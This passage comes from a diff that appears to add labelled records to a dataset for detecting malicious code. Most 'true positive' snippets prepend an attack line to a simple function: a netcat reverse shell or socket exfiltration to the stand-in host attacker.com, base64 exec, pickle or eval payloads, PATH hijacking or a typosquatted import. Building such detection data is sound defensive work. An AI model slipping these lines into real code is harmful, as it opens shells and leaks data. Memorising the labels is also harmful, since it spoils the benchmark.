title).strip(\"-\")\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_1250b51e", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fn_62b26f68", + "type": "functional", + "code_snippet": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_edc9e481", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_ab3a25a8", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "tp_9f478be7", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fn_7d69c4e6", + "type": "functional", + "code_snippet": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_60d786c1", + "type": "functional", + "code_snippet": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_266097d3", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_07f8ec6a", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fp_c0947f82", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_804aae7a", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "patch": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "fp_1b464050", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_cdea1977", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fn_d2f5b122", + "type": "functional", + "code_snippet": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": null, + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_1e83a434", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_492384b2", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fn_1ee1fc96", + "type": "functional", + "code_snippet": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": null, + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_4afa64ca", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fp_b8527d56", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_a122864b", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_778733e5", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_3a37ca6f", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_0637c752", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_c4608260", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_5137ced6", + "type": "functional", + "code_snippet": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_dc8e2720", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": "import json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_c1d0d29c", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fp_3afe9002", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_83a5435b", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_ad992700", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "fp_31374926", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_cd5befe7", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "tp_b24d1fc7", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_8a1b7475", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_1c460f32", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "tp_7bfe7d6c", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fp_cf6af82f", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_9b790362", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "fn_06510019", + "type": "functional", + "code_snippet": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_58142b4e", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_5091995e", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fp_d5efb7dc", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_785e0007", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "tp_c80f9fcb", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "fp_9b570cf0", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_8f4ae5eb", + "type": "functional", + "code_snippet": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": null, + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_0a8536e0", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + 